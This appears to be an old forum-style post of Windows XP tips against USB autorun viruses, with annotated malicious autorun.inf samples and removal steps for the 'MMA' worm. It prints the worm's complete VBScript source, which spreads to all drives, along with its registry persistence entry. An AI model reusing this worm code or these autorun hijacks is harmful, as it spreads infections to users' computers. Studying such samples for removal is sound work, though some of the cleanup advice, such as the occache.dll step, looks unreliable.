Tips to prevent most virus without using anti virus

Guys as you all know that most virus run from the file  autorun.inf.. following are some tips to prevent most of them...

-- Go to run and type gpedit.msc there(you must be logged on as administrator for this)
--There under the computer configuration there is an option Administrative Templates.
-- In this you will find an option Turn Off Autoplay.
-- Double Click on that and set it to enabled and from the drop down select all drives.
-- Click on apply.

from now on no drive of yours' will autoplay.
All you have to do is to right click on the drive and select on open.
If on right clicking you find more options like Autoplay,??00 sort of things..
go to Tool->Folder Options->view-> Click on show hidden files and folders,also click on show hidden operating system files and click on apply..
Delete all the unwanted files now.

This is the simple and safe technique.

Apart from this you can explore the gpedit.msc thing for knowing more stuffs for enhancing your pc's performance and also its outlook.

And one more tip..
Never run your computer in adminstrator login al the time. Use admin login only when u want to install something, else always use the restricted login. By doing this u hardly stand a chance to be heranified by any virus. and never put in a pen drive inserted at some other place directly to your pc when in admin login. Clean it from the restricted login and then use it. Belive me you will hardly need any anti virus if you follow this simple things. 

Explanations of autorun.inf files

The Autorun file through which the Explorer.exe file runs:

[autorun]
OPEN=EXPLORER.EXE //Target exe to run
shell\open=??(&O) //command that will be displayed when we right click instead of open
shell\open\Command=EXPLORER.EXE//The Shell command that will execute when we click the first option
shell\open\Default=1//Each time its clicked one copy of Explorer.exe is run
shell\explore=?????(&X)//command that will be displayed when we right click instead of explore
shell\explore\Command=EXPLORER.EXE // Instead of ur folder/drive being explored it will run Explorer.Exe

The Autorun file through which the sals.xls.exe file runs:

[AutoRun]
open=sals.xls.exe// as soon as the removable disk is plugged in then this command is executed instead of regular shell command to be executed
shellexecute=sals.xls.exe//The shell will execute this command
shell\Auto\command=sals.xls.exe//When the drive is autoplayed this command is executed
shell=Auto//Shell will by default try to Autoplay this drive coz of this command
[VVflagRun]
aabb=kdkfjdkfk11

The Autorun file through which the your internet explorer will run each time its executed :

[AutoRun]
open=iexplore.exe
shellexecute=iexplore.exe
shell\Auto\command=iexplore.exe
shell=Auto[VVflagRun]
aabb=kdkfjdkfk11

The Autorun file through which the notepad will run each time its executed :

[autorun]
OPEN=notepad.EXE
shell\open=??(&anyname)
shell\open\Command=notepad.EXE/
shell\open\Default=1
shell\explore=?????(&anyname)/
shell\explore\Command=notepad.EXE

WARNING: Please donot use these things to cause damage to people.

Virus removal

Removing Added Registry Entries

1. Open Registry Editor. Click Start>Run, type REGEDIT, then press Enter.
2. In the left panel, double-click the following:
HKEY_CURRENT_USER>Software>Microsoft>Windows>
CurrentVersion>Run
3. In the right panel, locate and delete the entry:
MsServer = "msfir80.exe"
4. In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>Software>Microsoft>Windows>
CurrentVersion>Run
5. In the right panel, locate and delete the entry:
IMJPMIG8.2 = "msime80.exe"
6. Close Registry Editor.
Restoring AUTORUN.INF
1. Open the dropped AUTORUN.INF using Notepad. Click Start>Run, type this text string in the Open input box then press Enter:
{Malware path}\autorun.inf
2. Delete the following entries created by the malware:
[AutoRun]
open=sal.xls.exe
shellexecute=sal.xls.exe
shell\Auto\command=sal.xls.exe
shell=Auto
[VVflagRun]
aabb=kdkfjdkfk11
3. Close AUTORUN.INF and click Yes when prompted to save.
Unhide files by going to Start->Run and type in regsvr32 /u occache.dll and hit OK. Rehide files - Start->Run and type in regsvr32 occache.dll and hit OK.

Go to the following registry key:
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

DELETE the value CheckedValue in the right window. (Its type should be REG_SZ and data should be 2.)

Now create a new DWORD value called CheckedValue (same as above, except that the type is REG_DWORD). Modify the value data to 1 (0x00000001).

This should let you change the "Hidden Files and Folders" option.
Please report your results.

MMA virus and removal process

The most famous virus doing round these days is this one.. MMA.
It has mainly 4 files along with it.
1.mma.vbs(The source code of this virus)
2.mma.bat(The bat file which executes)
3.a war file named mma.
4. the autorun file(The obvious one)

Following is the source code of mma virus

'dranyamcram v1.0
'Davao City Phils
'September 3, 2007
'Sub7@ChatX.net

on error resume next
Set WshShell =CreateObject("WScript.Shell")


For i=1 to 1

set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\mma.vbs" then
isdir=true
else
a=WshShell.Run("mma.bat Open" ,0,False)
isdir=false
end if

For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("mma.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\mma.*",d&"\",True
Of.CopyFile dir&"\autorun.inf",d&"\",True
else
Of.CopyFile "mma.*",d&"\",True
Of.CopyFile "autorun.inf",d&"\",True
end if
a=WshShell.Run("mma.bat + "&d ,0,True)
End If
next

if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("mma.bat - "&dir ,0,True)
Of.CopyFile "mma.*",dir&"\",True
Of.CopyFile "autorun.inf",dir&"\",True
a=WshShell.Run("mma.bat + "&dir ,0,True)
end if

next

How it works?

When you double click on any drive and it doesnot open, and when you right click it it doesnot show an open or explore option, and shows something else. Then the first thing you got to do is to type the drive name in the address bar+:
once the drive is open, go to tools-> folder options-> view hidden files and folders-> uncheck hide operating system files. and click okey.
now you can see all the hidden files also. If by chance you find files named mma your pc is infected with it

Steps to remove MMA virus:

From what i have seen, i dont see any anti virus detects this virus.
What you have to do is simple:

Step1:
Stop the process named WScript.exe from your taskmanager.

Step2:
Remove all the mma virus files. By the way i forgot it also has a registry file.
Before deleting that mma.reg file, just right click it->Edit. Now save it as a .txt file.
Now delete all the mma files from all drives. To open the drive in your address bar just type the drive name +: and press Enter.

Step 3:
From the text file that you saved, Open the registry and go to that key. There will be one entry in userinit from that be sure that you just remove the Wscript entry else if you delete the key as a whole then your pc might not start. To remove just that entry,
right click on the key->modify. Now just remove the WSCript entry.
The second key which will be present in the mma.reg file, You can delete it fully.

Step4:
Just restart your explorer. And now your pc is free from MMA.

code of regitry file

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="userinit.exe,mma.bat"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowSuperHidden"=dword:00000000

Removing from registry:  

Just edit the first key and remove just the reference of mma.bat. BE CAREFUL THAT YOU DONT DELETE THIS KEY ELSE YOU WONT BE ABLE TO RUN XP.

You can delete the second key safely.